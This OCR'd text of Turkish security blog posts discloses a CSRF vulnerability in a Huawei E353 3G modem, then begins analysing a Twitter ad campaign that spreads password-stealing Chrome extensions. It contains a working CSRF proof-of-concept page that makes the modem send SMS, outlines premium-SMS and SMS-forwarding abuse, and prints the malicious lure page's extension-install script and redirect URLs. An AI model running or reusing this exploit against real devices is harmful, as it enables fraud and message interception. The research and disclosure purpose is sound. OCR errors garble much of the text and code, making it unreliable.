olmayan bir igletim sisteminin ¢alistig1, kapali bir kutu oldugunu ve onun da zafiyetleri olabilecegini ¢ogu zaman aklimizin ucuna
getirmeyiz.

Modemi sik¢a kullanmaya basladiktan sonra bos bir zamanimda modeme hizlica géz atmaya ve canimi acitabilecek ilk zafiyeti tespit
ettikten sonra gerisini incelemek {izere sizlere havale etmeye karar verdim.

3G modemi taktigimde karsima otomatik olarak agilan modem web arayiiziinii incelemeye bagladim. Yaptigim ilk is sayfanin kaynak
kodlarma ve oradan da sayfa {izerinde kullanilan JavaScript kodlarini incelemek oldu. JavaScript kodlarini inceledigimde, modeme ajax
cagrilari ile ¢esitli komutlar gdnderilebildigini gérdiim.

TURKCELL VINN x m - 8 n

C #f 192.168.11 X 2 » =

TURKCELL TORKGE +

TURKCELL

Baglandi

BAGLANTIYI KES

Yeni mesajlar ve daha fazlasi igin bildirim araci...
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http://www.turkcell.com.tr/yardim/vinn-3g-modem-e353
http://www.turkcell.com.tr/yardim/vinn-3g-modem-e353
https://www.mertsarica.com/evil-pi/

TURKCELL VINN - lceweasel s}

TURKCELL VINN x +*

2 Most Visited ¥ "Oﬂenswe Secunty "W, Kali Linux \Kalu Docs \Kah Tools nEuplout-DB ‘Nr(ra(k-nq

TURKCELL

i

SMs Glncellemeler Ayarlar

istatistikler

Tar Anlik kullarim Toplam kullanim
ndirilen Ven T.2MB 924068

Ganderilen Ven 35295KB TS5.45 MB

Toplam ver T55mB 997 GB

Bajlant siresi 00:57:36 100:38:45

Yukanda saglanan ver istatistikler yalmzca yaklagik degererdir, l0tfen kesin miktas igin agagidaki linkten data paketinizden kalan miktar
kontrol ediniz

Data paketinizden kalan miktan égrenmek igin Iitlen iklayin ! Bilgilendirme size Ocretsiz sms olarak iletilecektic

Turkcell Faturah VINN hatbmza data paketi aimak icin tiklaywn |

Turkcell Faturasiz VINN hatimiza data paketi almak icin fikdaym !

http://192.168.1.1/js/sms.js = lceweasel -]

m/fcsrf.html X | TURKCELL VINN X | http://192.168.1.1/js/s x | &

ource:http:/f192

o
i g
N
»
n

2 Most Visited ¥ "Oﬂenswe Secunty "W, Kali Linux \Kalu Docs \Kah Tools nEuplout-DB ‘Nr(ra(k-nq

{
sas_initPage()

showInfoDialog (common_failed)

var refreshStatus

showWaitingDialog(common_waiting, “<span>" + sms_hint_sending+“</span=&nbsp; “+*1/" + g_sas_num* (PhoneArray.length))
$(".wai1t_dialog_btn").show()

$("#sas_dialog”).remove()

var subsitData = object2xml("request”. submitXslObject)
save

getAjaxData(“api/sms/send-status”, function(§xal){
var ret = xml2object($xal):
ret = ret.response;
var sendTotalCount = ret.TotalCount
var currentSendIndex = ret.CurIndex
var currentSendPhone = ret.Phone;
var sendSuccessPhones = ret.SucPhone
var sendFailPhones = ret.FailPhone
var statusContent = “<span>® + sms_hint_sending + “</span>E&nbsp:* + currentSendIndex + */° + sendTotalCount

$(".wait_table_content .wait_str”).htal(statusContent)
1f (currentSendPhone == == ){
$("svait_table").remove()
clearInterval (refreshStatus);
var successe ray = sendSuccessPhones.split(®.”)
var successedTotal = successedArray.lengt
var failedArray = slen?fallph:-nfs splat(®

Al v Highlight All Match Case 7 of 10 matches x

traffic.html sayfasinda yer alan "Data paketinizden kalan miktart grenmek i¢in tiklaym" kismina tikladigimda, data hattimindan 2222
numarali telefon numarasina KALAN smsi gittigini gordiim. Daha sonra bunun tam olarak nasil gergeklestigini gérmek i¢in trafigi Burp
Suite PRO araci ile incelemeye karar verdim.
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E' Burp Suite Professional v1.6.32

Burp Intruder Repeater Window Help
[ Target | Praxy. | Spider | Scanner | intruder | Repester | Sequencer | Decoder | Comparer | Extender | Options | Aents |

| itorcopt | HTTP history | WebSockats history | Options |

Filter. Hickng CSS, image and general binary content

# Host Method | URL Params | Edted | Status | Length | MIME t Commen
120 hinp /192168 1.1 GET  /ap/mantonngAraic-statishics 8] O 20 57 o 0
132 hp /192 168.1.1 GET  /apvmonitoring/check-notifications ] O 200 129 XML
136 hip/192 168.1.1 POST  /ap/sms/send-sms o O 20 Fak] XML
42 hitp 19216811 GET fapvmonitonng/status | 200 830 XML
W3 hitp192.168 1.1 GET /ap/monitonng/traic-statistics J B 200 547 XML
4 hp 92 16811 GET fap/monitonng/chec k-notrfic ations U B 200 e ] XML
M5 hitp 192 168 1.1 GET  /ap/sms/send-status ] B 20 m XML
151 hitp/192.168.1.1 GET /ap/monitonng/status L L 200 830 XML
152 hitp /92 16811 GET fapw/monitonng/traffic-statistics L L 200 550 L
153 huap /192 16811 GET fap/monitonng/check-notific ations L B 200 ks XML
154 hutp 192 168.1.1 GET fap/monitonng/status o B 20 830 XML
155 hitp 1192 168.1.1 GET {ap'montonngtraffic-statistic s o L 200 543 XML
156  hitp /M52 168.1.1 GET fap/monitonng/check-notific ations U L 200 ks XML
157 hitp//192.168.1.1 GET /ap/monitonng/status ] B 20 830 XML v
- P — - - v,
_[_h_] Response |
_J’MIPm]M'H-x'Ml
FOST /api/sma/send-sms HTTP/ L. L =
Host: 182. .
User=-Agent : Vindows NT €.3; WOWE4: tv:42.0) Gecko
Co ent-Type: & cat In ;-I;I-!-Z-Lh-ux lenco d: charset=UTr-g
X-Requested-With: XMLHttpRequest
Reterer: http: 192,168, 1. 1/html/crattic. html
|
0"
0" 7> <request><Index>- 1</ Index><Phones> <Phone>2222« »<Content>KALAN</Content><Length>5</Length> <Reserveds | </ Peserved> <Date>201é-01-0
</request>
Send to Spider
Do an actve scan
Do a passive scan
Send to Intruder Cuisl
Send to Repeater Cul+R L
Send to Sequencer v
| Send to Comparer § maiches

Send to Decoder
Show response in browser
Regquest in browser

Copy URL

Copy as curl command
Copy to file

Save tem

[ Message eddor help
| Prooty history help

Find references
Discover content
Schedule task

Dikkatimi ilk ¢eken nokta, yapilan isteklerde Cross-Site Request Forgery (CSRF) saldirisina karsi herhangi bir 6nlemin alinmamis

olmasiydi.

Cross-Site Request Forgery (CSRF) saldirisini kisaca, kullanicinin haberi ve bilgisi olmadan, internet tarayicisinin hedef alinan
web uygulamasina dogru isteklerde bulunmasini saglamaktir.

Ornegin kullanict hacklenmis bir X haber sitesini ziyaret ediyor ve bu site iizerinden saldirgan, kullanicinin modeminin DNS
degistirme sayfasina (Ornek: 192.168.1.1/dns.php) kullanicisinin haberi ve bilgisi olmadan DNS adresini 1.2.3.4 olarak giincelle
seklinde istek (HTTP POST) génderiyor. Bu sayede artik kullanicimin tiim DNS istekleri, art niyetli kiginin DNS' sunucusu
tizerinden gerceklesiyor ve kullanici gitmek istedigi web sitesi yerine art niyetli kiginin web sitesine yonlendirilebiliyor.

Bu CSREF zafiyeti, istismar eden art niyetli kisiler ve dolandiricilar tarafindan nasil kotiiye kullanilir diye diislindiigiimde aklima ilk
gelen, 3G modeme art niyetli kisilerin kontrolii olan bir web sitesi iizerinden premium SMS servislere SMS gonderilmesi saglanarak
haksiz kazang saglanabilecegi geldi. Bunun disinda diyelim ki ayr1 bir data hattiniz yok ve mevcut sim kartinizi 3G modeminiz ile
kullaniyorsunuz. Bu durumda art niyetli kisiler, sms yonlendirme servisi ile size gonderilen smsleri baska bir telefon numarasina
yonlendirebilirler. Bu senaryolart ¢ogaltmak miimkiin oldugu i¢in hizlica, pratikte bunu kotiiye kullanmak ne kadar kolay diye kendi

cep telefonuma CSRF ile web sitesi tizerinden SMS atarak kontrol etmek istedim.

Burp Suite PRO ile gelen Generate CSRF PoC 6zelligi ile herhangi bir istegi ¢cok kolay bir sekilde CSRF zafiyetini istismar eden bir
web forma asagidaki gibi doniistiirebilirsiniz. Bu sekilde bir form olusturup bunu web siteme (https://www.mertsarica.com/csrf.html)

yiikledim.
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https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
http://www.jakoblell.com/blog/2013/10/30/real-world-csrf-attack-hijacks-dns-server-configuration-of-tp-link-routers-2/
http://www.turkcell.com.tr/servisler/smsyonlendirme#nedir
https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-

Request to: hitp://192.168.1.1 " options |

Params THeade!s Hex | XML ]

FOST Japi/sms/send-sms HTTP/Ll.1 CSRF technique:
Host: 192.1€8.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOWE4; rv:42.0) Gecko/2Z010010Ll Firefox/42.0 O Auto-select based on request features
Aocept: */* () URL-encoded form

Aocept-Language: en-US,en;q=0.5 -
Accept-Encoding: gzip, deflate C) Mumpan&nm
Content-Type: application/x-www-form-urlencodesd; charset=UTF-8 () Plain text form
¥-FRequested-With: XMLHttpRequest .
Referer: Rttp://L192.168.L1.L1/html/traffic. html ® Cross-domain XHR (modem browsers only)
Content-Length: 217

Connection: close [ Include auto-submit script
Pragma: no-cache

Cache-Control: no-cache

<?xml version="1.0"
encoding="UTF-8"?><request><Indexs>- 1</ Index><Phones><Phone>05" </Phone></Phones><3ca></Sca><Content>Test</Content><Length>5</
Length><Reserved>l</Beservedr<Date>Z0Ll6-01-07 Ll8:27:24</Date></request>

Type a search term

CSRF HTML:

<html>
<!-- C5RF PoC - generated by Burp Suite Professional -->
<body>
<script>
function submitReguest()
{

var xhr = new XMLHttpRequest():

xhr.open("POST", "http:/f192.168.1.1/fapi/sms/send-sms", true):

xhr . setRequestHeader("Accept", "*/&") ;

¥hr .setRequestHeader("Accept-Language" , "en-US,en:;g=0.5") :

xhr .setRequestHeader (" Content-Type" , "application/x-www—-form-urlencoded; charset=UTF-8") ;

¥xhr .withCredentials = true;

var body = "\x3c?xml version=\"1.0\" =
encoding=\"UTF-8\"?\x3e\x3crequest\x3e\x3cIndex\x3e-1\x3c/Index\x3e\x3cPhones\x3e\x3cPhone\x3e05  \x3c/Phone\x3e\x3c/Phones
\x3e\x3cSca\x3e\x3c/Sca\xIe\x3IcContent\x3eTest\x3c/Content\x3e\x3IcLength\x3e5\x3c/Length\x3e\x3cReserved\x3el\x3c/Reserved\x3e\x3c
Date\x3e2016-01-07 18:27:24\x3c/Date\x3e\x3c/request\x3e" ;

var aBody = new UintB8Array(body.length)

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i) ;
¥hr .send({new Blob( [aBody])) :

i

submitReguest() ;
</script>
<form action="#">

<input type="button" value="Submit recuest"” onclick="submitRecuest():" />
</ form>

</body>
</html>

Type a search term

Waming: The XmiHftpRequest technique only works on modem browsers, and the browser will not display the response to the CSRF request. The request contains some non-standard
headers which, if included in a cross-domain XHR, may cause the request to be pre-flighted, and so the attack may fail. These headers have been omitted in the PoC attack, to avoid
pre-fighting. If the omitted headers are essential for the efficacy of the CSRF atfack, you can manually add these fo the PoC HTML.

Testin s | | opy L || i
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http:/fwww...m/csif.html % | &

mertsanca.com T yC ] * E ‘ ﬁ E

Most Visited ¥ JllOffensive Security "W KaliLinux W Kali Dace & Kali Tanle ERExntait-NA_ W irceack-nn
Source of: http://www.mertsari fesrf.html - lo 1 e @0

Submit request
File Edit View Help

<html>

:hod\r;
escripts>
function submitRequest()
{

var xhr = new XMLHttpRequest():
xhr.open("POST", "http://192.168.1.1/api/sas/send-sms", true);
shr. setRequestHeader("Accept™, "*/*");
xhr.setRequestHeader(~Accept-Language®, “en-US.en:q=0.5"):
xhr.setRequestHeader(“Content-Type". “application/x-www-form-urlencoded; charset=UTF-87);
shr.withCredentials = true
var body = "\x3c?xml version=\"1.0\" encoding=\"UTF-8\" Px3e\x3crequestix3e\x3cIndex’x3e-1\x3c/Index\x3e\x3IcPhones\x3e'\x 3cPhone\x 305
var aBody = new UintBArray(body.length)
for (var i = 0; i < aBody.length: 1++)
aBodyli] = body.charCodeAt(1):
ahr.send(new Blob([aBodyl)):

}
submitRequest();

</script>

<form action="g">
;ilput type="button" value="Submit request" onclick="submitRequest();" />

</form=

</body>
</htnl>

Daha sonra bu adresi 3G modem ile internet baglandigim bilgisayarimdan ¢agirdigimda ise cep telefonuma SMS geldi ve oyun bitmis
oldu :)

Burp Suite Free Edition v1.6.32 I -]

Burp Intruder Repeater Window Help

| Target I Promy I Spider ‘ Scanner ] Intruder i Repeater i Sequencer | Decoder i Comparer i Extender i Options ] Alerts .

[ 1ntercept | HTTP history | websockets history | Options |

Filter: Hiding CS5, image and general binary content (3
& Host Method | URL Params | Edited | Status | Length | MIME type | Extension | Title Comment SSL |IP Cookies
TR IR e X e PTG ST o = Tww T o v O ErEavwEE
23 hitp /19216811 GET fapimonitering/converged-status (9] (] 200 316 XML O 1s2.168.1.1 L
4 http://192.168.11 GET Nanguage/lang_tr_tr js (& 200 19564 script is O 15216811
85 hitpr192.168.1.1 GET fapumaonitoring/status o (] 200 83l WML .| 192.168.1.1
46 hitp//192.168.1.1 GET fapuUmonitoring/traffic-statistics o 200 547 ¥ML O 19216811
87 hitp://192.168.1.1 GET fapl inglcheck-notifications (9] (9] 200 330 XML 9| 19216811
38 hittp//192.168.1.1 GET JapUmonitoring/status o O 200 831 ¥ML O 19216811
49 http /19216811 GET fapumonitoring/traffic-statistics ] (] 200 547 XML (9] 192.168.1.1
50 hitp: //192.168.11 GET fapumonitoring/check-notifications a (9] 200 330 ML o 19216811
51 http //192.168.1.1 GET fapumonitoring/status o (] 200 83l ML o 192.168.1.1
52 htp /19216811 GET fapumonitoring/itraffic-statistics (o] (8] 200 547 XML g 19216811
533 http://192.168.1.1 GET fapimonitaring/check-notifications ] 200 330 XML O 1%216811
54  http //www. mertsarica com GET fesrf_html (@] (] 200 1506 HTML L Q 178.18.195.170
55 [http.//192.168.1.1 POST lapisms/send-sms 7] o 200 213 XML L 19216811 v
<F " > 4 e
_rlhmnq Response |
i Raw I Params ] Headers J_Hu [ XML |
POST /fapi/sas/send-sms HTTP/1.1 =
Host: 192.168.1.1 -
User-Agent: Mozilla/S.0 (¥11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: #/¢
Accept -Language: en-US.en;g=0.5
Accept -Encoding: grip. deflate
Content -Type: application/x-www-form-urlencoded: charset=UTF-8
Referer: hitp://www.mertsarica.com/csrf htal
Content -Length: 223
Origin: http://www.mertsarica.cos
Connection: close
Pragma: no-cache
Cache-Control: no-cache
<Txnl version=
encoding="UTF- 8" 1><request »<Index>- 1</ Index><Phones><Phone=0S </ Phone></Phones><Sca=</Sca><Cont ent >Test </Content »<Length=5</Length><Reserved>1</Reserved><Date=2 7
18:27: 24</Date=</request >
v
T - + > 0 matches
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Bu zafiyete karsi ne yapabilirim diye soracak olursaniz, Turkcell ve/veya Huawei ile iletisime gecip bu zafiyeti ortadan kaldiran bir
yama var mi diye sorabilir, varsa yiikleyebilir veya bu modemi ¢pe atip farkli bir modem ile yolunuza devam edebilirsiniz.

Unutmayin, nasil kullanmis oldugumuz isletim sistemimizin giivenlik yamalarinin giincel olmasina giivenligimiz ig¢in dnem veriyorsak,
ayni sekilde kullanmis oldugumuz aygitlarin, cihazlarin da donanim yazilimlarinin, yamalarinin giincel olduguna énem vermeliyiz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Huawei E353 CSRF Zafiyeti appeared first on Hack 4 Career - Siber Giivenlik Giinligii.

Sosyal Ag Hirsizlan

Source: https://www.mertsarica.com/sosyal-ag-hirsizlari/
By M.S on June 1st, 2016

Bundan ii¢ y1l 6nce yine Haziran ayinda yayimlamis oldugum Jeton Hirsizlar1 baslikli blog yazimda, art niyetli kisilerin zararlt Chrome ve
Firefox eklentiler ile kullanicilarin Facebook OAUTH jetonlarini ¢alarak, kullanicilarin hesaplarini nasil kétiiye kullandiklarina dikkat
¢ekmigtim.

Ne tesadiiftiir ki ii¢ y1l aradan sonra yine Haziran ayinda, Twitter tizerinden reklamlar ile kullanicilar1 zararli sitelere yonlendiren ve bu
siteler tizerinden yiiklettikleri Chrome eklentileri ile Facebook ve Twitter parolalarini ¢alan bir veya birden fazla grup ile karsilagtim.
Bu defa bilfiil tanik oldugum bu olay1 yaziya dokerek bu konuya dikkat cekmek ve sosyal ag ve medya giivenligi farkindaligina katkida
bulunmak istedim.

Twitter'da yaklasik 2000+ takipgisi olan (yeri gelmisken tiim takipgilerime tesekkiir ederim. :)) biri olarak, konu baska hesaplar1 takip
etmeye geldiginde her ne kadar bana darilanlar olsa da, bu konuda oldukga segici davranmaya devam ederek simdilik ~150 hesab takip
etmek ile yetiniyorum. Bunun baglica nedeni ise odagimi kaybetmeyip bilgi/bilisim giivenligi agirlikli tweetleri takip etmek istememden
kaynaklaniyor. Durum bodyle olunca da aslinda Twitter'da karsilastigim reklam tweetleri (promoted) de cogunlukla giivenlik ile ilgili
oluyor.

Gegtigimiz giinlerde kisa bir siirede ¢ok sayida karsilastigim ve gercek Twitter hesaplarmin (muhtemelen eklentiyi yiikleyen
kullanicilarin hesaplari) kullanildig: birkag reklam, siipheli olmasi nedeniyle oldukga ilgimi ¢ekti ve hemen reklamlarin perde arkasinda
neler olup bittigini aragtirmaya karar verdim.

27


https://www.mertsarica.com/huawei-e353-3g-modemde-csrf-zafiyeti/
https://www.mertsarica.com
https://www.mertsarica.com/sosyal-ag-hirsizlari/
https://www.mertsarica.com/sosyal-ag-hirsizlari/
https://www.mertsarica.com/jeton-hirsizlari/
https://tr.wikipedia.org/wiki/OAuth
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John Matherly
| was interviewed by @newscientist ©)

VW @) Twitter x m — _

- cCH Twitter, Inc. [US] https://twitter.com = ’l] =

*Quems 4§ rosscne  [PBitsssngn v : a .

T —
q fhhalstonG96 what do you think would be the media fallout for pulling a
@ completely harmless Top1 security app just because of nonsense?

fo)

nykplrvrouhp

(2
While you were away
Huzeyfe ONAL (BGA)
Tl GonOmOz dunyasinda "sUrdUrUlebilir® bagan igin “en iyilerin® bir araya
bitly/1593imO Imesinden gok, en "uyumiulann® bir araya gelmesi onemilidir x

Twitter'da bu durumla karsilasan bagka kullanicilar var mi diye twitter viriis anahtar kelimeleri ile genel bir arama yaptigimda ise bu
durumun Nisan ayindan beri yaygin olarak Twitter'da karsilasildigini gérdiim.
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j' W twitter virls - Twitter Se
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x '\ W Twitter

[« 2N | https://twitter.com/search

0»-;---.- ‘ Notifications ﬁ','.‘.\..\..\;--'\

Who to follow - retresh - view ai

Muhammet Dilmag
N Halil Oztirked

A Follow
Tolgahan UZUN
£ Follow
Devon Kearns
2 Follow

L 4 twitter virGs
Emre Marasli

1 € 3 (9
Twitter virs yayiyorl ] m bir hesaptan PROMOTED tweet ile
virlis yayiyor Il dikkat sakin tiklamayin

Sulugoz Ayca
@Serdarortacs kral, twitter hesabina virlls girmig, bana dm yolladin gimdi
Bllg:sayaldan twittera ginp, uygulamalar boluminde +++

Mustafa :
Dikkatimi gekti saninm Twitter'da yeni bir virlls akimi bagladi, benden soylemesi

8 7=

- & 2=

Find friends tiklayip oltaya gelmeyin :)
- e TTEE s Taa—
Trends - change - v - v »
#Serinliklddiasi . I:
S e B -
#Soma ¢
L =" [} &
=
#breakfree2016 ¢ =
#DOOM l.__ a
134K Tw ="
#TopGunDay e Wk -
i — e
#fridayreads -
j W twitter virls - Twitter Sea. x|\ N (1) Twitter x m - a8 _
« [« 2N | https://twitter.com/search d 0] » =
-
0 Home Q Notifications "'A Messages ' twitter virls Q ‘ % Tweet
#fridayreads
Racist McShootface Tung SLAG
. Koskoca Gyasi Zardes'in Twitter hesabina virlls giriyor... Anani 1 San

Serena Williams
The Toast
#SBSEurovision

#Fridaythe13th

I
&l
b
-

”™

Jose Earthquakes

View conversabon

Ceyhun Oguzoglu fay 1
Twitter'daki haber ‘instagramin logosu dedisti’. Soylemeseler telefonuma virls
girdi sanacaktim

Rumeysaa v
Benim twitter kendi kendime hareketler yapmaya baglad: virlls desem bigeyede
girmiyomki &

Hilal Bulut

Twitter'ma bulasan virls LM ((T{CM{{LE

Tunahan Yildinm :
Laptopum’da ki virlls yizunden Twitter hesabim otomatik RT atiyor.. Sagma

¥ sapan pornografik paylagimiar...Lotfen yanhs anlamayin

Sinan Glndogar

Reklam gorsellerinden birine tiklandiginda http://t.1apteccoder.com/dompol.php -> http://begenlobi.com/twlaptec.php -> http://
t.lapteccoder.com/XOLwTuTI.php adresine, digerine tiklandiginda ise http://bit.ly/1s93imO -> http://firsat2014.com -> http://
tw.oklsme.cf/vi.php -> http://tw.oklsme.cf/eSn0J1.php adresine yonlendirilen kullanicinin karsisina 18+ oldugu iddia edilen bir video
gorseli ¢ikmakta ve kullanici sahte videoyu izlemek icin bu gorselin iizerine tikladiginda, kullanicidan Chrome internet tarayicisi
kullandig: taktirde AdsTwitter Video veya SwsLertz isimli eklenti yiiklemesini istemekteydi. Her defasinda yonlendirilen PHP adinin
da rastgele olarak degismesi, HTTP yanit (response) kodu olarak 200 yerine 404 donmesi ve ana sayfanin direk ¢agrildiginda da hesabin

dondurulduguna dair bir mesajla karsilasilmasina ragmen sitenin ¢aligir olmasi da dikkatimden kagmadi.
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- Charles 3.11.4 - swslertz1 * - oIEH

File Edit View Proxy Tools Window Help
FauMTACONG /v XE

Structure  Sequence Overview  Request Response Summary | Chart | Notes

@) hitpy//bitly HTTP/1.1 404 Not Found s ~
& @) hitpy//firsat2014.com Centent-Encoding: gzip
&) hitp/ /tw.okdsme.cf Vary: Accept-Encoding
& viphp Date: Sat, 14 May 2016 09:24:44 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revahidate, post-check=0, pre-check=0

7 J0i 1 pho [ S—

G viphp Pragma: no-cache
©9 :CGoT php if— Content-Type: text/htmi
& viphp Content-Length: 8348
© 2EMywphp  elf— Connection: keep-alive
& viphp
© vasHn2php <htmi class="content-snap-width-3 no-focus-outline” data-cast-api-enabled="true" lang="en"> <head>
o viphp ‘:m: hlreh hrtp: s.ytimg.com, _\.15-'|mbg fa»lcon-vllz.‘:h:rl:llcr:n;ll="s:::lcl.:|con' type= |magg-..|ccnb>
<link class="css-hitpssytimgcomytscsshinwwweorewebpufl 1AFRKcss” href="hitps://s.ytimg.com/yts/csshin/www-core-
© ADEVEPhD  — webp-vl1AfRK. .css z.;ugmw'cere rel="stylesheet p i &
<hnk class="css-hitpssytimgcomytscssbinwwwplayerwebpyfidqAQhScss™ href="hitps://s.ytimg.com/yts/cssbin/www-pl
ayer-webp-vfdgACHS.css™ names="www-player™ rel="stylesheet™>
<hnk class="css-httpssytimgcomytscssb pageframewebpvflskDMH 1css™ href= "hitps://s.ytimg.com/yts/cssbin/w

ww-pageframe-webp-vflskDMH1.cs5” name="www-pageframe” rel="stylesheet™>

<title> Video (18+) - YouTube</title>

<hnk class="css-h wgcomytscssh: htranscriptwebpvfipd_n_icss” href= "hitps://s.ytimg.com/yts/cssbiny
www-watch-transcript-webp-vfipd_n_i.css” name= "www-watch-transcript” rel="stylesheet™>

<link class="css-httpssytimgcomytscssbinwwwguidewebpvfidehrjXcss” href="https://s.ytimg.com/yts/cssbin/www-gui
de-webp-vfl3ehrl.css™ name= "www-guide” rel="stylesheet™>

<lhink class= "css-httpssytimgcomytscssb pageframedelsyloadedwebpviiw Y AtWicss™ href= “https//s.ytimg.com/y
ts/ cssbin/www-pageframedelayloaded-webp-vflwYAtWB.css™ name= “www-pageframedelayloaded” rel="stylesheet™>

<script src="hitps//ajax.googleapis.com/ajan/libs/jquery/2.1.3/jquery.min js> < /script>

<scnpt> new Image().src="https://whos.amung.us/swidget/ntientientiw’; < /scnpt>

<hink rel="chrome-webstore-item” href= "https://chrome.google.com/webstore/ detail/ gepamecfighaymygmaebcfbmaia
kol™>
</head> =

Headers | Text | Hex | Compressed | HTML  Raw

Account Suspended - lceweasel =
Video (18+) - YouTube x | Video (18+) - YouTube x | AdsTwitter Video - Chro... X | Account Suspended X | http://www....ccoder.com/ ¥ | Untrusted Connection X | +*

€ lapteccoder.com vC Ta & #

[EIMost Visited ¥ “D‘Fftnswa Security ", Kali Linux " Kali Docs "W, Kali Tools nElplml-DB \Alrcrxk-ng

This Account has been suspended.

Contact your hosting provider for more information.

bitly.com kisaltilmig adreslerinin (short url) sonuna + igareti koydugunuz taktirde (http://bit.ly/1s93imO+ gibi), o sayfanin istatistik
sayfasina ulasabiliyorsunuz. Ben de bu sekilde bu adrese ait istatistik sayfasini ziyaret ettigimde, 5 saat i¢ginde bu baglant1 adresine 4300
defa tiklandigin1 gordiim.
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s e« e

€ - C fi @ https//bitly.com/1593imO+ gl 6=
- _—
. afke
W Paste a long URL here to shorten = e m339 -
BROWSE { 3
Your Bitlinks f |
stats 4,302 - on this Bitlink
UPGRADE
Bitly Brand Tools
All time hour 24 hrs
2,000
1.500
1,000
500
0 ' ' ' ' ' ' i 0
02:00 pm 05:00 pm 08:00 pm 11:00 pm 02:00 am 05:00 am 08:00 am 11:00 am -

Jeton Hursizlar: yazimdan da bildiginiz iizere, Chrome eklentilerini indirdikten sonra crx olan uzantisini .zip yaptiktan sonra
herhangi bir zip agma araci ile agabiliriz. Paketin i¢inden ¢ikan JavaScript dosyalar: bize o eklentinin islevselligi konusunda
bilgi verecektir.

Eklentilerin adreslerini ilgili sayfalardan tespit ettikten sonra http://chrome-extension-downloader.com adresi iizerinden bu eklentileri
indirip kisaca incelemeye karar verdim.

6 hitp/t lapteccoder com GET  /dompol php = O 32 315 WM php L 8798187171  fukanasret=12 0656401 . 5080
|7 hmpiniapeccodercom  GET  /VRigDEM php o Ll 404 30262 WML php Video (18+4) - YouTube Ll ersemwrin 065640 1. 8080
8 hitp 7 lapteccoder com GET  Mawconico = O e 38262 WML o Video (18+) - YouTube O e7se1871M 065650 1. 8080
9 hitpin lapteccoder com GET  NFaqgDEM php g 0 3 129 WM php U srsetsT 1M 0657531 8080
10 hitps fichrome google com  GET  /webstore/detail akhifliine mpseld u U wm 240 HIML Moved Permanently B 2165821214  NID=TO=buWR . 0658121. 8080
11 haps fichrome google com  GET  /webstore/detasl/adstwitter vided/ o O 20 a2n HWM AdsTwier Video - B 26582121 065817 1. 0080
13 hitos lichenme sooole com  GFT | iscalews.siatic! fim/fsces ma = Ll 200 594796 scriot W 21658212 W 0658281 AOAO

<span style=“tont-size: 10px;width: LOOV:position: absclute;text-align: Center:mArgin-top: AZpx;= Ld="click_text">Click “Add extensien” Buttem</span>
</div>
<a rel="noreferrer” id=~link™ href="https://geo.gl/cITERE™ style="display:none;"></a>
<acript types"text/javascript®>
function translate|source, target, q,callback)|
war url = “https:// t om/ te_afsingle?client=gtxfsl=" + seurce + "&ll=" &+ target + “Gdt=tid) * iq):
war xhr = mew XMLMUUpRegquesti) :
whe . openi “GET" . url):
xhr . e, * ton/s : ., trus):
whe . send( ) ;
®hr . enreadystatechange = function{) ([
if (Xhr.readyState == 4 &6 xhr.status == 200) {
var data = JSO0N.parse(xhr.responseText)

callback{data) :
1
1)
]
v Late(*en’ a -1 S Wclick_text®).text() function{data) |
S{*Sclick_text®). text{data.sentences[0).trans):
B
</mcript>

<8cript type=“"text/javascript™>
installed = false:
install = functieni)|
S html, body' ). animate({
scrollfep: 0
). 100) ;
SUWALert’) . hide():
chiome webstore. install(
Y T JaXREELE =
functioni) (
installed = true;
mew Image().sre = ' [/whos. amung. us/widget/InSkapfa®1is png'
window . set Timesut { functiond )|
document . getElementByTd( Link" ). click{)
). 500) ;

b,
function{err) (
S(*WAlert®) .showi) :
S(*body*) .coni foverflow: *hidden®)):
]
y:
L}

S(document ) keydown(install) meusedown(install)

~on” o (I}
S(WALert’) . hide():
if{installed == false)(

return “Install extension!®:
)

</scripe>

«/body></html>
</body> </ html>

li! |24 u (525 | Type # search teem
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https://www.mertsarica.com/jeton-hirsizlari/
http://chrome-extension-downloader.com

B Charles 3.11.4 - swslertz1 * - oIEN

File Edit View Proxy Tools Window Help

" 2 1=0:0, 1O NP4

| Structure Sequence Overview | Request Response Summary | Chart | Notes
| & G heep//bitdy i.-\.'w«\.-.mﬂ(h-lr‘n',(rlpt-.kebp-'.‘fipg_n_l(s', names= “www-watch-transcript” rel= "stylesheet™> -~
& @) hitpy//firsat2014.com <link class="css-hitpssytimgcomytscssbinwwwguidewebpvfi3ehrjXcss” href="hitps://s.ytimg.com/yts/cssbin/www-gui
& hitp.//tw.oklsme.cf ;dc-.‘-:bp--.ﬂ!chr}l €s5” names= "www-guide” rel="stylesheet™> )
c viphp <link class="css-hitpssytimgcomytscssbinwwwpageframedelayloadedwebpvfiw Y AtWbcss™ href= “hitps://s.ytimg.com/y
Ar = | ts/cssbin/www-pageframedelayloaded-webp-viwYAIWE.c35™ names= “www-pageframedelayloaded” rel="stylesheet™>
LI SR <script sre="https://ajax.googleapis.com/sjax/libs/jquery/2.1.3/jquery.minjs™> < /script>
c .‘IC_EhF <scnpt> new Image().sre="hitps//whos.amung.us/swidget/ntientientiv’; < /scnpt>
@ sCGoTE.php
© viphp
© 28Myw.php google com/webstore/ detaill/ gepamectiyhaympgmaebcfbmana
G viphp
© VASHN2 php | -
c viphp <body class= "ltr weblat weblat- 3537 exp-responsive exp-scrollable-guide site-center-aligned site-as-giant-card appbar-hid
© »0eviphp | den visibility-logging-enabled not-nirvana-dogfood not-yt-legacy-css flex-width- enabled flex-width-enabled-snap page-

| loaded” data-spf-name="watch” dirz"Ir" id= "body” style=" overflow: hidden:” cz-shortcut-listenz "true™>
<dw id="body-container” >
<div id="masthead-positioner™ style=" position: relative;">
<dmv class="clearfix yt-base-gutter” id="yt-masthead-container™>

<div id="yt-masthead">

<div class="yt-masthead-logo-container™ >
| <button ania-controls="appbar-guide-menu” aria-expandeds “false” ana-label= "Guide™ class= “yt-un-button yt-uix
| -button-size-default yt-un-button-text yt-uix-button-empty yt-u-button-has-icon appbar-guide-toggle appbar-guide-c
